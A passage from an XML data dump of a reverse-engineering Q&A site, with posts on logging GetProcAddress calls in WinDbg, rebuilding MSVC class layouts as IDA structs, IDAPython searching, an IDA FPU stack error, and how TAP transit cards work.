  <row Id="16650" PostTypeId="2" ParentId="16648" CreationDate="2017-10-28T18:23:04.617" Score="4" Body="&lt;p&gt;i dont know if i understood your query correctly but if you want to log the function names that are passed to getproc address you can log them like this in windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb calc&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.15063.468 X86&#xA;&#xA;ntdll!LdrpDoDebuggerBreak+0x2c:&#xA;775605a6 cc              int     3&#xA;&#xA;0:000&amp;gt; bp KERNELBASE!GetProcAddress &quot;.printf \&quot;%ma\\n\&quot;,poi(@esp+8);gc&quot;&#xA;&#xA;0:000&amp;gt; bl&#xA; 0 e 756c6c81     0001 (0001)  0:**** KERNELBASE!GetProcAddress &quot;.printf \&quot;%ma\\n\&quot;,poi(@esp+8);gc&quot;&#xA;&#xA;&#xA;0:000&amp;gt; g&#xA;&#xA;ImmWINNLSEnableIME&#xA;ImmWINNLSGetEnableStatus&#xA;ImmSendIMEMessageExW&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;CtfImmTIMActivate&#xA;CtfImmRestoreToolbarWnd&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;LpkPSMTextOut&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;ModLoad: 740c0000 740d3000   C:\Windows\system32\dwmapi.dll&#xA;DwmIsCompositionEnabled&#xA;GetLayout&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;ModLoad: 75590000 7559c000   C:\Windows\system32\CRYPTBASE.dll&#xA;SystemFunction036&#xA;CLSIDFromOle1Class&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;ModLoad: 73b70000 73bac000   C:\Windows\system32\oleacc.dll&#xA;EventWrite&#xA;EventRegister&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;BufferedPaintStopAllAnimations&#xA;&#xA;ntdll!DbgBreakPoint:&#xA;774f4108 cc              int     3&#xA;0:004&amp;gt; q&#xA;quit:&#xA;&#xA;C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;afaik windbg also resolves the address to its function Name &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; rM0&#xA;calc!WinMain+0x6b:&#xA;001316a0 ffd7            call    edi {kernel32!GetModuleHandleWStub (7737ccac)}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-10-29T03:47:43.270" LastActivityDate="2017-10-29T03:47:43.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16651" PostTypeId="2" ParentId="11811" CreationDate="2017-10-28T20:37:24.257" Score="39" Body="&lt;p&gt;This depends on the compiler originally used as each creates slightly different layouts. You can find tutorials for most compilers on the net, I'm going to focus MSVC as that's the one I have experience with, and since it provides a &lt;a href=&quot;https://pigworlds.wordpress.com/2009/01/17/msvc-compiler-d1reportsingleclasslayout-d1reportallclasslayout/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden compiler switch printing how classes will be layouted in memory&lt;/a&gt; which I'm going to use for illustration.&lt;/p&gt;&#xA;&lt;p&gt;As you might have already guessed, you have to recreate C++ classes with C structs. This is possible but bothersome, especially if you have as many classes as you said. Some tips to make it less annoying:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Focus the ones you're interested in.&lt;/li&gt;&#xA;&lt;li&gt;Start with the &amp;quot;base-most&amp;quot; classes, e.g. the ones at the top of the hierarchy tree. If you mess up something there, fixing it can be expensive later on:; imagine adding a forgotten member to something like a smart pointer base class which is inherited by hundreds of classes, and now you have to adjust all of those.&lt;/li&gt;&#xA;&lt;li&gt;You may want to define the &lt;code&gt;struct&lt;/code&gt;s with C like code in the &lt;strong&gt;Local Types&lt;/strong&gt; subview first and not in the &lt;strong&gt;Structures&lt;/strong&gt; subview. The following samples can be pasted as local types.&lt;/li&gt;&#xA;&lt;li&gt;If you're unsure about reversing a struct, a constructor typically spoils the vftable and the layout of some members; a function calling it may yield the total size of the object by reserving enough bytes for it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA 7.0 helps you a lot by automatically recognizing and marking &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;nofollow noreferrer&quot;&gt;RTTI data&lt;/a&gt; (if available) which spoils the class hierarchy and vftables, but it incorrectly marks which vftable belongs to which base class in case of multiple inheritance, an issue &lt;a href=&quot;http://www.openrce.org/downloads/details/196&quot; rel=&quot;nofollow noreferrer&quot;&gt;the IDA6 script it is based on&lt;/a&gt; didn't have. I &lt;a href=&quot;https://gitlab.com/Syroot/ida-tools/-/blob/master/scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;rewrote it&lt;/a&gt; in IDAPython for 7.0 to fix this and other MSVC related issues, it can also automatically create the structs as explained below.&lt;/li&gt;&#xA;&lt;li&gt;IDA 7.2 has &lt;a href=&quot;https://www.hex-rays.com/products/ida/7.2/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;even better support&lt;/a&gt; for automatically detecting and recreating C++ structures, but the following answer was written with 7.0 in mind and using 7.2 naming.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Depending on how fancy your polymorphism is, your C structs have to be more or less fancy aswell. So let's start with the simple cases first and work our way to the more complicated ones.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;No inheritance (base class)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The simplest case does not use any inheritance at all, only some members and (pure) virtual methods to start with:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;class Animal {&#xA;    int _age;&#xA;    Animal() { _age = 0; }&#xA;    int getAge() { return _age; }&#xA;    virtual void setAge(int value) { _age = value; }&#xA;    virtual void makeSound() = 0;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;MSVC layout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Animal    size(8):&#xA;        +---&#xA; 0      | {vfptr} // pointer to the vftable (s. below)&#xA; 4      | _age    // members of Animal&#xA;        +---&#xA;&#xA;Animal::$vftable@:&#xA;        | &amp;amp;Animal_meta    // ignore meta for our examples&#xA;        |  0              // the (pure) virtual method follow&#xA; 0      | &amp;amp;Animal::setAge    &#xA; 1      | &amp;amp;Animal::makeSound&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IDA representation:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;struct Animal;&#xA;struct Animal_vtbl {&#xA;  void (__thiscall *setAge)(Animal *this, int value);&#xA;  void (__thiscall *makeSound)(Animal *this);&#xA;};&#xA;struct Animal_mbrs {&#xA;  int _age;&#xA;};&#xA;struct Animal {&#xA;  Animal_vtbl *__vftable;&#xA;  Animal_mbrs __members;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forward declare the class struct to use it in the &lt;code&gt;this&lt;/code&gt; parameter of the vftable.&lt;/li&gt;&#xA;&lt;li&gt;MSVC uses the &lt;code&gt;__thiscall&lt;/code&gt; calling convention by default to create class methods. It implicitly passes a pointer to the class instance in the &lt;code&gt;ecx&lt;/code&gt; register besides all other parameters.&lt;/li&gt;&#xA;&lt;li&gt;It is not required to provide names for the parameters.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;makeSound&lt;/code&gt; will be a &lt;code&gt;purecall&lt;/code&gt;, and &lt;code&gt;setAge&lt;/code&gt; will be a typical unknown sub modifying our member.&lt;/li&gt;&#xA;&lt;li&gt;Place members in a separate structure for inheritance (s. below).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Single inheritance&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let's quickly breed a &lt;code&gt;Dog&lt;/code&gt; inheriting from &lt;code&gt;Animal&lt;/code&gt;, implement the &lt;code&gt;makeSound&lt;/code&gt; method, and add a new virtual method to set the fur color:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;class Dog : public Animal {&#xA;    int _furColor;&#xA;    virtual void setAge(int value) { _age = value; }&#xA;    virtual void makeSound() { cout &amp;lt;&amp;lt; &amp;quot;Woof Woof&amp;quot;; }&#xA;    virtual void setFurColor(int color) { _furColor = color; }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;MSVC layout: The &lt;code&gt;Animal&lt;/code&gt; base class is simply embedded inside the &lt;code&gt;Dog&lt;/code&gt; class. The embedded &lt;code&gt;Animal&lt;/code&gt; vftable also grabs all the virtual &lt;code&gt;Dog&lt;/code&gt; methods and adds them at its end. The members of &lt;code&gt;Dog&lt;/code&gt; appear behind &lt;code&gt;Animal&lt;/code&gt;s members:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Dog       size(12):&#xA;        +---&#xA; 0      | +--- (base class Animal)&#xA; 0      | | {vfptr}&#xA; 4      | | _age&#xA;        | +---&#xA; 8      | _furColor&#xA;        +---&#xA;&#xA;Dog::$vftable@:&#xA;        | &amp;amp;Dog_meta&#xA;        |  0&#xA; 0      | &amp;amp;Dog::setAge&#xA; 1      | &amp;amp;Dog::makeSound&#xA; 2      | &amp;amp;Dog::setFurColor // Added behind the Animal methods!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IDA representation: Leaving &lt;code&gt;Animal&lt;/code&gt; structures untouched, we add the following:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;struct Dog;&#xA;struct Dog_vtbl : Animal_vtbl {&#xA;  void (__thiscall *setFurColor)(Dog *this, int color);&#xA;};&#xA;struct Dog_mbrs : Animal_mbrs {&#xA;  int _furColor;&#xA;};&#xA;struct Dog {&#xA;  Dog_vtbl *__vftable;&#xA;  Dog_mbrs __members;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reuse the &lt;code&gt;Animal&lt;/code&gt; vftable by letting the &lt;code&gt;Dog&lt;/code&gt; vftable inherit from it (inheriting a struct in IDA simply means prepending it), then add the &lt;code&gt;Dog&lt;/code&gt; specific virtual functions.&lt;/li&gt;&#xA;&lt;li&gt;The same thing happens with the members, which is why I separated them earlier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Multiple inheritance&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This requires a bit of mind-mangling. For this, we make it possible to kill our dog (sorry if that's cruel to you, I'm bad at creating happy examples):&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;class Killable {&#xA;    bool _isDead;&#xA;    virtual void kill() { makeDeathSound(); _isDead = true; }&#xA;    virtual void makeDeathSound() = 0;&#xA;};&#xA;&#xA;class Dog : public Animal, public Killable {&#xA;    int _furColor;&#xA;    virtual void setAge(int value) { _age = value; }&#xA;    virtual void makeSound() { cout &amp;lt;&amp;lt; &amp;quot;Woof Woof&amp;quot;; }&#xA;    virtual void setFurColor(int color) { _furColor = color; }&#xA;    virtual void makeDeathSound() { cout &amp;lt;&amp;lt; &amp;quot;I'll call WWF, bark-blerg&amp;quot;; }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;MSVC layout: As with the &lt;code&gt;Animal&lt;/code&gt; base class, it embeds the second &lt;code&gt;Killable&lt;/code&gt; base class into the &lt;code&gt;Dog&lt;/code&gt; class aswell, and keeps &lt;code&gt;Dog&lt;/code&gt;s members separate. While &lt;code&gt;Dog&lt;/code&gt;-specific virtual methods are &lt;em&gt;still&lt;/em&gt; merged with the &lt;code&gt;Animal&lt;/code&gt; vftable (aka the first base class), &lt;code&gt;Killable&lt;/code&gt; related ones are in a separate &lt;code&gt;Killable&lt;/code&gt;-related vftable, so we now have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Dog       size(20):&#xA;        +---&#xA; 0      | +--- (base class Animal)&#xA; 0      | | {vfptr}&#xA; 4      | | _age&#xA;        | +---&#xA; 8      | +--- (base class Killable)&#xA; 8      | | {vfptr}&#xA;12      | | _isDead&#xA;        | | &amp;lt;alignment member&amp;gt; (size=3) // since _isDead is a 1-byte bool&#xA;        | +---&#xA;16      | _furColor&#xA;        +---&#xA;&#xA;Dog::$vftable@Animal@:&#xA;        | &amp;amp;Dog_meta&#xA;        |  0&#xA; 0      | &amp;amp;Dog::setAge&#xA; 1      | &amp;amp;Dog::makeSound&#xA; 2      | &amp;amp;Dog::setFurColor // Dog methods still merged with Animal!&#xA;&#xA;Dog::$vftable@Killable@: // All the Killable-related methods in here&#xA;        | -8 // offset for `this` pointer in Killable methods to get a Dog pointer&#xA; 0      | &amp;amp;Killable::kill&#xA; 1      | &amp;amp;Dog::makeDeathSound&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IDA representation: We keep a &lt;code&gt;Dog&lt;/code&gt;-specific vftable at the start which reuses the &lt;code&gt;Animal&lt;/code&gt; vftable internally, as the &lt;code&gt;Dog&lt;/code&gt; virtual methods are still appended to &lt;code&gt;Animal&lt;/code&gt;s vftable. Then &lt;code&gt;Animal&lt;/code&gt;s members follow as usual. Now, the untouched &lt;code&gt;Killable&lt;/code&gt; structs follow, since nothing gets merged into them. At the end, our &lt;code&gt;Dog&lt;/code&gt; members follow. If you compare this to the offsets MSVC printed, it makes sense:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;struct Killable;&#xA;struct Killable_vtbl {&#xA;    void (__thiscall *kill)(Killable *this);&#xA;    void (__thiscall *makeDeathSound)(Killable *this);&#xA;};&#xA;struct Killable_mbrs {&#xA;    bool _isDead;&#xA;};&#xA;struct Killable {&#xA;  Killable_vtbl* __vftable;&#xA;  Killable_mbrs __members;&#xA;};&#xA;&#xA;struct Dog;&#xA;struct Dog_vtbl : Animal_vtbl {&#xA;  void (__thiscall *setFurColor)(Dog *this, int color);&#xA;};&#xA;struct Dog_mbrs { // No more base Animal members as they're split up now!&#xA;  int _furColor; &#xA;};&#xA;struct Dog {&#xA;  Dog_vtbl *__vftable; // Still contains animal methods.&#xA;  Animal_mbrs __members_Animal; // Animal members come here separately.&#xA;  Killable_vtbl *__vftable_Killable;&#xA;  Killable_mbrs __members_Killable;&#xA;  Dog_mbrs __members;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;IDA 7.2 uses slightly different naming for vftables participating in multiple inheritance. I find it bothersome to deal with manually, so we won't use it here.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Let's see how this looks like in the &lt;code&gt;Dog::ctor&lt;/code&gt; pseudocode:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;Dog *__thiscall Dog::ctor(Dog *this)&#xA;{&#xA;  j_Animal::ctor((Animal *)this);&#xA;  j_Killable::ctor((Killable *)&amp;amp;this-&amp;gt;__vftable_Killable);&#xA;  this-&amp;gt;__vftable = (Dog_vftable *)&amp;amp;Dog::`vftable';&#xA;  this-&amp;gt;__vftable_Killable = (Killable_vftable *)&amp;amp;Dog::`vftable';&#xA;  return this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As typical for constructors, the base class constructors are called first. Then, the vftables required for &lt;code&gt;Dog&lt;/code&gt; are set. But something doesn't make sense: Why is &lt;code&gt;Dog::vftable&lt;/code&gt; assigned to our &lt;code&gt;__vftable_Killable&lt;/code&gt;? Well, I used IDA 7.0's naming here, and what I previously mentioned is that it doesn't mark which vftable maps to which base class anymore (unlike the script). With the IDA 6.0 or my IDAPython script, it would say:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;Dog *__thiscall Dog::ctor(Dog *this)&#xA;{&#xA;  j_Animal::ctor((Animal *)this);&#xA;  j_Killable::ctor((Killable *)&amp;amp;this-&amp;gt;__vftable_Killable);&#xA;  this-&amp;gt;__vftable = (Dog_vftable *)&amp;amp;Dog::`vftable for Animal';&#xA;  this-&amp;gt;__vftable_Killable = (Killable_vftable *)&amp;amp;Dog::`vftable for Killable';&#xA;  return this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now the names aren't the same and make more sense, so don't get busted by this IDA 7 annoyance, double click the names to check where they'll actually lead.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I do not recommend setting the actual type of the vftables to their locations / names: You get nothing out of it, it just makes the disassembly output messy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bonus: Classes inherited from classes using multiple inheritance (wew)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This one kept me a little baffled for some time, maybe because it's not covered in most tutorials on the net on which I so rely on, or maybe because I'm just dumb. Let's inherit from &lt;code&gt;Dog&lt;/code&gt; with our &lt;code&gt;Terrier&lt;/code&gt; class.&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;class Terrier : public Dog {&#xA;    int _annoyanceLevel;&#xA;    virtual void setAge(int value) { _age = value; }&#xA;    virtual void makeSound() { cout &amp;lt;&amp;lt; &amp;quot;Bark Bark not Woof Woof&amp;quot;; }&#xA;    virtual void annoy() { _annoyanceLevel++; }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;MSVC layout: It doesn't seem too special. The &lt;code&gt;Animal&lt;/code&gt; vftable &lt;em&gt;still&lt;/em&gt; merges the new virtual methods of our &lt;code&gt;Terrier&lt;/code&gt;, and everything else has its separate vftable:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Terrier   size(24):&#xA;        +---&#xA; 0      | +--- (base class Dog)&#xA; 0      | | +--- (base class Animal)&#xA; 0      | | | {vfptr}&#xA; 4      | | | _age&#xA;        | | +---&#xA; 8      | | +--- (base class Killable)&#xA; 8      | | | {vfptr}&#xA;12      | | | _isDead&#xA;        | | | &amp;lt;alignment member&amp;gt; (size=3)&#xA;        | | +---&#xA;16      | | _furColor&#xA;        | +---&#xA;20      | _annoyanceLevel&#xA;        +---&#xA;&#xA;Terrier::$vftable@Animal@:&#xA;        | &amp;amp;Terrier_meta&#xA;        |  0&#xA; 0      | &amp;amp;Terrier::setAge&#xA; 1      | &amp;amp;Terrier::makeSound&#xA; 2      | &amp;amp;Dog::setFurColor&#xA; 3      | &amp;amp;Terrier::annoy // Animal even takes the Terrier methods (greedy!)&#xA;&#xA;Terrier::$vftable@Killable@:&#xA;        | -8&#xA; 0      | &amp;amp;Killable::kill&#xA; 1      | &amp;amp;Dog::makeDeathSound&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IDA representation: It's pretty similar to our first &lt;code&gt;Dog&lt;/code&gt; struct creation, just that we need to respect the second base class of &lt;code&gt;Dog&lt;/code&gt; aswell.&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;struct Terrier_vtbl : Dog_vtbl {&#xA;  void (__thiscall *annoy)(Terrier *this);&#xA;};&#xA;struct Terrier_mbrs : Dog_mbrs {&#xA;  int _annoyanceLevel;&#xA;};&#xA;struct Terrier {&#xA;  Terrier_vtbl *__vftable;&#xA;  Animal_mbrs __members_Animal;&#xA;  Killable_vtbl *__vftable_Killable;&#xA;  Killable_mbrs __members_Killable;&#xA;  Terrier_mbrs __members;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2023-03-16T10:35:07.563" LastActivityDate="2023-03-16T10:35:07.563" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16654" PostTypeId="1" CreationDate="2017-10-29T14:46:12.620" Score="2" ViewCount="522" Body="&lt;p&gt;I have a pretty basic IDAPython script which finds indirect calls by using &lt;code&gt;idc.FindText()&lt;/code&gt; and then extracts the arguments. It works great except that it does not find the indirect calls in undefined functions. The script below can't find any calls if the function is correctly disassembled but undefined. However, the normal IDA GUI text search is able to find the call that I'm looking for. Is there something I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic code works like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addr = MinEA()&#xA;while addr != idc.BADADDR:&#xA;   addr = idc.FindText(addr, idc.SEARCH_DOWN | idc.SEARCH_NEXT, 0, 0, &quot;call e&quot;)&#xA;   doStuff(addr)&#xA;   addr = idc.NextHead(addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22091" LastEditorUserId="18317" LastEditDate="2017-10-29T19:51:34.683" LastActivityDate="2017-10-29T19:51:34.683" Title="How do I read over an undefined function with IDAPython?" Tags="|ida|idapython|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16655" PostTypeId="1" CreationDate="2017-10-29T18:38:35.917" Score="3" ViewCount="858" Body="&lt;p&gt;So I was doing some REing in IDA, changed a function parameter type and suddenly my stack pointer messes up (&lt;code&gt;1025B361: inconsistent fpu stack&lt;/code&gt;). Does anyone know what to look for here or how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt; Undefining-redefining and changing argument types. &#xA;&lt;li&gt; Changing the `double game_time` type to `float` in pseudocode, but it won't let me (`Sorry, cannot change variable type`, because it's in use in the pseudocode).&#xA;&lt;li&gt; Changing the stack definition from `0000018C var_18C dq ?` to `dd`.&#xA;&lt;li&gt; Changing the signature of `director_debug`.&#xA;&lt;li&gt; Manually editing the HEX code from `DD 1C 24` to `D9 1C 24` (forcing m32fp).&#xA;&lt;li&gt; In order: changing the function signature, changing the stack value, undefining the calling function and redefining it as a function (code).&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, none of this helped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pseudocode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_EDX = game_time_ptr_12; //float edx@2&#xA;__asm&#xA;{&#xA;  fld     dword ptr [edx+0Ch]&#xA;  fstp    [esp+18Ch+var_18C]&#xA;}&#xA;director_debug(&quot;%3.2f: Director debug: %s.\n&quot;, *(_QWORD *)&amp;amp;game_time, &quot;NORMAL MODE&quot;); //double||__int64 game_time ST24 8@2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dissassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:1025B35B 0 184                 mov     edx, game_time_ptr_12&#xA;.text:1025B361 0 184                 fld     dword ptr [edx+0Ch]&#xA;.text:1025B364 1 184                 push    offset aNormalMode ; &quot;NORMAL MODE&quot;&#xA;.text:1025B369 1 188                 sub     esp, 8&#xA;.text:1025B36C 1 190                 fstp    [esp+18Ch+var_18C] ;qword ptr [esp]&#xA;.text:1025B36F 0 190                 push    offset a3_2fDirectorDe ; &quot;%3.2f: Director debug: %s.\n&quot;&#xA;.text:1025B374 0 194                 call    director_debug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it should become&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;game_time = *(game_time_ptr_12) + 12);&#xA;director_debug(&quot;%3.2f: Director debug: %s.\n&quot;, game_time, &quot;NORMAL MODE&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21945" LastEditorUserId="21945" LastEditDate="2017-10-29T23:04:49.127" LastActivityDate="2021-10-25T23:06:16.557" Title="Fixing '__asm' in pseudocode in IDA PRO (inconsistent fpu stack error)" Tags="|ida|stack|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16656" PostTypeId="2" ParentId="16240" CreationDate="2017-10-29T22:09:52.743" Score="1" Body="&lt;p&gt;First, make sure the app is crashing because you're running it inside of an emulator, &lt;em&gt;Maybe your device is really &lt;strong&gt;incompatible&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you made sure your device is compatible with the app your next step would be to try and trace where the function checks if it's an emulator or not. You could try and use stack traces printed to log or decompile the app and check for known APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Patch the function and you should be able to use the app on your emulator.&#xA;But if I had to guess, I'd say your device is incompatible.&lt;/p&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2017-10-29T22:09:52.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16657" PostTypeId="1" AcceptedAnswerId="16658" CreationDate="2017-10-30T01:58:46.243" Score="0" ViewCount="3007" Body="&lt;p&gt;TAP cards have been around for a while now, but there seems to be very little information around that explains how they work, particularly by the LA transit system.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an article saying that they are set to replace the MetroCard for the New York transit system with TAP:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://nypost.com/2017/10/20/mta-gets-ready-to-dump-the-metrocard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MTA gets ready to dump the Metrocard&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CoNSa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CoNSa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official &lt;a href=&quot;https://www.taptogo.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transit Access Pass&lt;/a&gt; website has this to say:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.taptogo.net/articles/en_US/Website_content/about-tap&quot; rel=&quot;nofollow noreferrer&quot;&gt;What's TAP?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each TAP card has a built-in electronic chip.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It’s like a mini-computer inside your card! It lets you load Stored Value (money) and a variety of passes for travel across 24 transit agencies. No more fumbling for change.  Just load the type of fare you want on your card, then tap it each time you board a bus or train.  It’s way faster than cash!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is some sort of contactless smart card, but looking around using that as a search term, TAP seems not to be listed as using the ISO 14443 standard.  Yet maybe it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:  How do they work?&lt;/p&gt;&#xA;" OwnerUserId="18580" LastEditorUserId="18580" LastEditDate="2017-10-30T08:08:54.517" LastActivityDate="2017-10-30T08:08:54.517" Title="How does a TAP card work?" Tags="|smartcards|" AnswerCount="1" CommentCount="0" ClosedDate="2017-10-30T08:00:02.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="16658" PostTypeId="2" ParentId="16657" CreationDate="2017-10-30T04:37:02.060" Score="1" Body="&lt;p&gt;Too long to fit in a comment.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A TAP card is a durable plastic card with a smart chip designed to make your transit experience simple and secure.&lt;sup&gt;&lt;a href=&quot;https://www.taptogo.net/TAPFAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l6iO6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6iO6.png&quot; alt=&quot;tap card&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Contactless payments use the international standard ISO/IEC14443 for contactless communications that is being adopted worldwide for financial payments and leverage the existing payments infrastructure which has supported payment cards for more than 40 years.&lt;sup&gt;&#xA;  &lt;a href=&quot;https://www.securetechalliance.org/publications-contactless-payments-faq/?redirect=https%3A%2F%2Fwww.securetechalliance.org%2Fpublications-contactless-payments-faq#s8&quot; 